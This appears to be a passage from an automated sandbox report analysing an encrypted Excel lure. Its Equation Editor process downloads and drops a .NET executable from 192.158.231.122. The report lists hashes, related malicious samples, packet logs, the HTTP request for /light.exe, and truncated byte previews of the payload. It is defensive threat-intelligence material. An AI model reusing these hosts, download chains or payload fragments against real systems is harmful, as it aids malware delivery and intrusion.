	VEM RFQ.jar	Get hash	malicious	Browse	192.158.238.66
	Ordine Novembre.jar	Get hash	malicious	Browse	192.158.238.122
	Ordine Novembre.jar	Get hash	malicious	Browse	192.158.238.122
	20200728.doc	Get hash	malicious	Browse	155.254.28.158
	Image RFQ_8503231082020.exe	Get hash	malicious	Browse	155.254.31.51

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\light[1].exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	downloaded
Size (bytes):	618496
Entropy (8bit):	7.861639609576483
Encrypted:	false
SSDEEP:	12288:QCuRfLw9sjK8YFIxdsk9fE4ZSgexsOGnAZK0yCcxx:iREr9kFZTOlZ4CW
MD5:	020BC13012CE4DB6E204CB1ED174851E
SHA1:	46F8FF39E0D5F476B0C2E3A1C8FEEFDFEC32A0B2
SHA-256:	265E971392E878A245DEF23CC9544060FCAFBDC0C61C66CF128688F3D64E2179
SHA-512:	891367401D14B9E41FC0379FC0BDC04526E023E01F6E91C731D14C790B8B6483A11761C34B2D5A673B73ACD45761D11916E6A4A6D692C9E4955AD86F7B00B079
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
IE Cache URL:	http://192.158.231.122/light.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...:.._.................h..........N.... ........@.. ...............................T....@.....................................K.......B............................................................................ ............... ..H............text...Tg... ...h.................. ..`.rsrc...B............j..............@..@.reloc...............n..............@..B................0.......H.......`................q..pu..........................................a.b.d.c.e.f.g.h.i.j.k.l.m.n.p.r.q.s.t.u.v.w.z.y.x.0.1.2.3.4.5.6.7.8.9.A.B.C.D.E.F.G.H.I.J.K.L.M.N.Q.P.R.T.S.V.U.W.X.Y.Z.6..(....o....B...(.....o....&2.(....t.....(....&2.t....o....F~....~....(.........(.....(.........(....(.........(....(....o.........&...o.....(.....(.....r...p.....6..{b...(^.....o.....{a...{c....{b...oZ...(^....so....p.....oq...V.{....od....(...+...J.{....o1....ov...*J

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\15AE138F.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3
Category:	dropped
Size (bytes):	48770
Entropy (8bit):	7.801842363879827
Encrypted:	false
SSDEEP:	768:uLgWImQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ugbDTzQ27A3UXsgf
MD5:	AA7A56E6A97FFA9390DA10A2EC0C5805
SHA1:	200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A
SHA-256:	56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974
SHA-512:	A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6E917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6E58B0BED6C5782
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5E98F844.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3
Category:	dropped
Size (bytes):	48770
Entropy (8bit):	7.801842363879827
Encrypted:	false
SSDEEP:	768:uLgWImQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ugbDTzQ27A3UXsgf
MD5:	AA7A56E6A97FFA9390DA10A2EC0C5805
SHA1:	200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A
SHA-256:	56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974
SHA-512:	A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6E917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6E58B0BED6C5782
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\85EDDC46.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	1099960
Entropy (8bit):	2.01533581083799
Encrypted:	false
SSDEEP:	3072:IXtr8tV3Iqf4ZdAt06J6dabLr92W2qtX2cy:2ahIFdyiaT2qtXw
MD5:	3677D2F9B1FB1BFDA3C51CD719514752
SHA1:	0150A469620426546E26641766F5B21E42079E1A
SHA-256:	549CA31BDF7B3DAC8D37EAE522D786A672438B5CC7241901EE8E0297E53C423A
SHA-512:	A8D0526310681C885C246A8E8EF07AE9F0430A3B6E30A984726D2B0F686C18B447A793C06E41CD46ECE1A4CC99E9A2302577A05F1A89D09CF6E6DC2759B5976F
Malicious:	false
Reputation:	low
Preview:	....l...........S................@...%.. EMF........&...............................................\K..hC..F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..............................................I.......%...........%...................................R...p................................@."C.a.l.i.b.r.i...................................................................t....N.X............\........N.X........ ....y.R........ ............z.R............?...............................X...%...7...................{ .@................C.a.l.i.b.r.................X....... ....2.R........\...\....{.R............dv......%...........%...........%...........!.......................I......."...........%...........%...........%...........T...T..........................@.E.@T...........L...............I.......P... ...6...F..........EMF+@..$..........?...........?.........@...........@..........@..$..........?....

C:\Users\user\Desktop\~$Catalog of our new order.xlsx Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
MD5:	96114D75E30EBD26B572C1FC83D1D02E
SHA1:	A44EEBDA5EB09862AC46346227F06F8CFAF19407
SHA-256:	0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
SHA-512:	52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	618496
Entropy (8bit):	7.861639609576483
Encrypted:	false
SSDEEP:	12288:QCuRfLw9sjK8YFIxdsk9fE4ZSgexsOGnAZK0yCcxx:iREr9kFZTOlZ4CW
MD5:	020BC13012CE4DB6E204CB1ED174851E
SHA1:	46F8FF39E0D5F476B0C2E3A1C8FEEFDFEC32A0B2
SHA-256:	265E971392E878A245DEF23CC9544060FCAFBDC0C61C66CF128688F3D64E2179
SHA-512:	891367401D14B9E41FC0379FC0BDC04526E023E01F6E91C731D14C790B8B6483A11761C34B2D5A673B73ACD45761D11916E6A4A6D692C9E4955AD86F7B00B079
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...:.._.................h..........N.... ........@.. ...............................T....@.....................................K.......B............................................................................ ............... ..H............text...Tg... ...h.................. ..`.rsrc...B............j..............@..@.reloc...............n..............@..B................0.......H.......`................q..pu..........................................a.b.d.c.e.f.g.h.i.j.k.l.m.n.p.r.q.s.t.u.v.w.z.y.x.0.1.2.3.4.5.6.7.8.9.A.B.C.D.E.F.G.H.I.J.K.L.M.N.Q.P.R.T.S.V.U.W.X.Y.Z.6..(....o....B...(.....o....&2.(....t.....(....&2.t....o....F~....~....(.........(.....(.........(....(.........(....(....o.........&...o.....(.....(.....r...p.....6..{b...(^.....o.....{a...{c....{b...oZ...(^....so....p.....oq...V.{....od....(...+...J.{....o1....ov...*J

Static File Info

General
File type:	CDFV2 Encrypted
Entropy (8bit):	7.961529951482354
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	Catalog of our new order.xlsx
File size:	201728
MD5:	f19674cfbff25cbd3f128ffd8e78c5c4
SHA1:	07bf03f3b749c3d7f93758068f5a26c520279388
SHA256:	02781481c25663e541fd70525609f84129fb57cf044e57c3e3410972267acc30
SHA512:	f6dd6fd3e49fa5969ee68e45afc78033996bd0436e6e2a1ffb283dbb1f4bf64a063cce741661e8f9a8439453821ea01d30511f519b1cf722694c89a7657c5554
SSDEEP:	3072:PzGYLG33rIUfDOffUxO7Erc6ROgxGQZsWCrA30hksSCtGhH54dbBfoUcQuVAPtmJ:aYLRUbXOYrXGohLHC+CdbBwYRkYW
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "Catalog of our new order.xlsx"

Indicators
Has Summary Info:	False
Application Name:	unknown
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	False

Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

General
Stream Path:	\x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace
File Type:	data
Stream Size:	64
Entropy:	2.73637206947
Base64 Encoded:	False
Data ASCII:	. . . . . . . . 2 . . . S . t . r . o . n . g . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . .
Data Raw:	08 00 00 00 01 00 00 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 54 00 72 00 61 00 6e 00 73 00 66 00 6f 00 72 00 6d 00 00 00

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

General
Stream Path:	\x6DataSpaces/DataSpaceMap
File Type:	data
Stream Size:	112
Entropy:	2.7597816111
Base64 Encoded:	False
Data ASCII:	. . . . . . . . h . . . . . . . . . . . . . . E . n . c . r . y . p . t . e . d . P . a . c . k . a . g . e . 2 . . . S . t . r . o . n . g . E . n . c . r . y . p . t . i . o . n . D . a . t . a . S . p . a . c . e . . .
Data Raw:	08 00 00 00 01 00 00 00 68 00 00 00 01 00 00 00 00 00 00 00 20 00 00 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 50 00 61 00 63 00 6b 00 61 00 67 00 65 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 00 00

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size: 200

General
Stream Path:	\x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary
File Type:	data
Stream Size:	200
Entropy:	3.13335930328
Base64 Encoded:	False
Data ASCII:	X . . . . . . . L . . . { . F . F . 9 . A . 3 . F . 0 . 3 . - . 5 . 6 . E . F . - . 4 . 6 . 1 . 3 . - . B . D . D . 5 . - . 5 . A . 4 . 1 . C . 1 . D . 0 . 7 . 2 . 4 . 6 . } . N . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n . e . r . . . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	58 00 00 00 01 00 00 00 4c 00 00 00 7b 00 46 00 46 00 39 00 41 00 33 00 46 00 30 00 33 00 2d 00 35 00 36 00 45 00 46 00 2d 00 34 00 36 00 31 00 33 00 2d 00 42 00 44 00 44 00 35 00 2d 00 35 00 41 00 34 00 31 00 43 00 31 00 44 00 30 00 37 00 32 00 34 00 36 00 7d 00 4e 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

General
Stream Path:	\x6DataSpaces/Version
File Type:	data
Stream Size:	76
Entropy:	2.79079600998
Base64 Encoded:	False
Data ASCII:	< . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n . e . r . . . D . a . t . a . S . p . a . c . e . s . . . . . . . . . . . . .
Data Raw:	3c 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00 72 00 2e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 73 00 01 00 00 00 01 00 00 00 01 00 00 00

Stream Path: EncryptedPackage, File Type: data, Stream Size: 194952

General
Stream Path:	EncryptedPackage
File Type:	data
Stream Size:	194952
Entropy:	7.9980445334
Base64 Encoded:	True
Data ASCII:	w . . . . . . . _ : . . . . . . . E j . E S . . . Y . . . 1 . a . _ . r K . 8 1 n . . : F . . 6 4 . f . . : A i E : . . . . . * . . . . . . E . . . . . A 5 U * . . " o . . . 1 . . . . A 5 U * . . " o . . . 1 . . . . A 5 U * . . " o . . . 1 . . . . A 5 U * . . " o . . . 1 . . . . A 5 U * . . " o . . . 1 . . . . A 5 U * . . " o . . . 1 . . . . A 5 U * . . " o . . . 1 . . . . A 5 U * . . " o . . . 1 . . . . A 5 U * . . " o . . . 1 . . . . A 5 U * . . " o . . . 1 . . . . A 5 U * . . " o . . . 1 . . . . A 5 U *
Data Raw:	77 f9 02 00 00 00 00 00 5f 3a de 05 fe 95 07 e6 d5 45 6a 0f 45 53 ed 9d f0 59 ed d4 e2 31 e1 61 14 5f d2 72 4b fa 38 31 6e 8a be 3a 46 a8 9e 36 34 0a 66 94 d3 3a 41 69 45 3a a0 a1 d8 fc 19 2a ad ae ad d2 0e 8f 45 c5 b3 bd ef 84 41 35 55 2a f9 dd 22 6f b8 ab a8 31 b3 bd ef 84 41 35 55 2a f9 dd 22 6f b8 ab a8 31 b3 bd ef 84 41 35 55 2a f9 dd 22 6f b8 ab a8 31 b3 bd ef 84 41 35 55 2a

Stream Path: EncryptionInfo, File Type: data, Stream Size: 224

General
Stream Path:	EncryptionInfo
File Type:	data
Stream Size:	224
Entropy:	4.56726522318
Base64 Encoded:	False
Data ASCII:	. . . . $ . . . . . . . $ . . . . . . . . f . . . . . . . . . . . . . . . . . . . . . . M . i . c . r . o . s . o . f . t . . E . n . h . a . n . c . e . d . . R . S . A . . a . n . d . . A . E . S . . C . r . y . p . t . o . g . r . a . p . h . i . c . . P . r . o . v . i . d . e . r . . . . . . . . { . . . . . . X { . . j . . . . . F & % . g u . N . f . . . . . . . . [ . , ! . . . . 8 . . . f . . . 7 X . . . . h . . . . Q . @ D .
Data Raw:	04 00 02 00 24 00 00 00 8c 00 00 00 24 00 00 00 00 00 00 00 0e 66 00 00 04 80 00 00 80 00 00 00 18 00 00 00 00 00 00 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 45 00 6e 00 68 00 61 00 6e 00 63 00 65 00 64 00 20 00 52 00 53 00 41 00 20 00 61 00 6e 00 64 00 20 00 41 00 45 00 53 00 20 00 43 00 72 00 79 00 70 00 74 00 6f 00 67 00 72 00 61 00 70 00 68 00

Network Behavior

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2020 19:32:05.283638000 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.407967091 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.408149958 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.408795118 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.534420013 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.534444094 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.534463882 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.534481049 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.534497023 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.534507036 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.534512997 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.534529924 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.534533024 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.534535885 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.534538031 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.534547091 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.534554005 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.534564018 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.534575939 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.534579992 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.534590960 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.534605026 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.539104939 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.661571026 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.661600113 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.661612034 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.661624908 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.661637068 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.661648989 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.661660910 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.661674023 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.661693096 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.661710024 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.661726952 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.661742926 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.661762953 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.661780119 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.661796093 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.661797047 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.661812067 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.661822081 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.661829948 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.661845922 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.661849976 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.661863089 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.661875963 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.661875963 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.661907911 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.661931038 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.664318085 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.786977053 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787003994 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787015915 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787031889 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787048101 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787061930 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787080050 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787098885 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787116051 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787133932 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787149906 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787168026 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787185907 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787206888 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787225008 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787242889 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787261009 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787277937 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787295103 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787312984 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787331104 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787349939 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787368059 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787384033 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787400961 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787419081 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787432909 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787450075 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787467003 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787486076 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787504911 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787520885 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787538052 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787554979 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787571907 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787587881 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.787801981 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.788486004 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.788503885 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.788516045 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.788532019 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.788609982 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.788665056 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.788722992 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.790467024 CET	49167	80	192.168.2.22	192.158.231.122
Nov 20, 2020 19:32:05.911906958 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.911953926 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.911978006 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.911998034 CET	80	49167	192.158.231.122	192.168.2.22
Nov 20, 2020 19:32:05.912031889 CET	80	49167	192.158.231.122	192.168.2.22

HTTP Request Dependency Graph

192.158.231.122

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49167	192.158.231.122	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Nov 20, 2020 19:32:05.408795118 CET	0	OUT	GET /light.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 192.158.231.122 Connection: Keep-Alive
Nov 20, 2020 19:32:05.534420013 CET	1	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Fri, 20 Nov 2020 12:02:01 GMT Accept-Ranges: bytes ETag: "a0bb98f434bfd61:0" Server: Microsoft-IIS/10.0 Date: Fri, 20 Nov 2020 18:32:05 GMT Content-Length: 618496 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3a b0 b7 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 68 09 00 00 06 00 00 00 00 00 00 4e 87 09 00 00 20 00 00 00 a0 09 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 09 00 00 02 00 00 ac 54 0a 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 87 09 00 4b 00 00 00 00 a0 09 00 42 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 67 09 00 00 20 00 00 00 68 09 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 42 02 00 00 00 a0 09 00 00 04 00 00 00 6a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 09 00 00 02 00 00 00 6e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 87 09 00 00 00 00 00 48 